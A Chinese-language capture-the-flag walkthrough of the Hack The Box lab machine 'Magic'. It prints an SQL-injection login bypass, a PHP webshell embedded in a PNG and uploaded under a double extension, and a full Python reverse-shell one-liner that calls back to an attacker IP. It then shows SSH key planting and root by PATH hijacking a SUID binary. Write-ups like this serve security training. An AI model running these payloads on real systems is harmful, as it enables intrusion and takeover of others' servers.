今天聊一下记一次对Hack the box_magic的渗透测试

靶机介绍:

Magic有两个常见步骤,一个SQLI来绕过登录,一个webshell上传,带有双扩展名来绕过过滤。从那里,我可以获得一个shell,并在数据库中查找凭证,然后切换到user。为了获得根目录,有一个二进制文件在没有完整路径的情况下调用popen,这使它容易受到路径劫持攻击。在Beyond Root中,我将查看导致执行. PHP .png文件的Apache配置、过滤上传的PHP代码以及suid二进制文件的源代码。

信息收集

1.端口扫描

发现存在22和80端口。

2.SQL注入

发现存在SQL注入万能密码进行登录。

存在文件上传

3生成图片马进行文件上传

使用exiftool -Comment='<?php system($_REQUEST[‘cmd’]); ?>’ 1.png 生成一个图片马,图片在网上下一个.png格式的。

发现直接上传.png格式是无法上传成功的,将其改成1.php.png格式。再次进行上传。

成功进行上传

漏洞利用:

1.命令执行

上传之后,发现可以执行命令。

2.反弹低权限shell

利用python3:ython3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.16.4”,8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’进行反弹shell,然后在浏览器进行访问

http://10.10.10.185/images/uploads/1.php.jpg?0=python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.16.2”,8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’ python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.16.4”,8833));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

使用nc监听8833端口。然后在浏览器访问url地址,成功获得低权限shell。

权限提升:

1.获取数据库用户账号密码

在查看文件的过程中,发现存在db数据库文件。成功找到了数据库和密码。

然后使用mysql进行登录。

登录之后,直接获得了admin用户密码。

2.ssh登录

使用su切换用户。成功找到第一个user.txt文件。

3.生成ssh公钥,写入公钥。

将公钥写入到远程服务器的authorized_keys文件。

echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3EQYtrsL4KEhFMWW1GH2RBKBfYWAxmAXdT/yF2/g3h/dvTjQfKx3HfKkhlBcQQBSp/6ZbeVXZW6bqGhQq+aKvjVOMoHA8/zKZ2SvB3Zt6ehAyiQeCnFeSB1Jou5bDdRsimz6J3XYniOpnGOqk2Ytv35HI5J4900T5GSAXr2InQgPt+94yn60uHBMB5ani5du+1pAxUJOQ+7i6/BdjGvCGwMh+rqyboEM9qRZJiO/hTcMxeMmQTP+iHS3sGuzQaj7KseJV8vjmdC76SLRLOJsMWob/CSytsh/PZhxpNUUmXZAD1eHhOGuos811PpZ3N3RoP7tDHWjr2Ee9evNp8vhMWgUU0HkWr++mpS8/a5cqi0DETPmmnU97EYpOQtDPXMHDyzihYc0OGYgNn4M4OCKcebid1vyhRRlib1UYQx6JKDxIBDeQM0LSbUx0T/qmsOYKOX1vwiTzCaZahRp+gJaiN5pTXMU4hcKOLalnk4urv4u1LOs5QpAWydIQluwCvZM= root@kalii>authorized_keys

4.ssh远程连接

使用本地ssh进行连接。

5.远程文件传输

在github下载LinEnum.sh,然后本地开启80端口。

6.使用LinEnum.sh脚本检测薄弱点

远程服务器成功下载到,然后使用脚本进行检测。

发现/bin/sysinfo -x权限很可疑,进行查看。

使用file进行查看,发现是64位的ELF。

7.提权

在本地的free文件写入提权脚本。

开启远程下载。

成功下载到free文件

增加其执行权限,然后添加到环境变量当中。

export PATH=”/dev/shm:$PATH”

执行/bin/sysinfo进行查询。

nc再次开启监听,然后成功获取到root权限。接着进入root目录,成功获取到root.txt文件。

总结:

这个靶机从信息收集-漏洞利用-文件上传。用到了sql注入万能密码漏洞获取登录权限,然后生成图片马,进行命令执行,在使用python3进行反弹shell,获取低权限shell之后,存在db数据库文件泄露,然后写入本地ssh公钥,利用本地ssh进行登录,开启远程文件传输,上传LinEnm.sh文件进行枚举权限的缺陷,发现可以利用lshw,fdisk,cat和free等进行权限提升。

正文完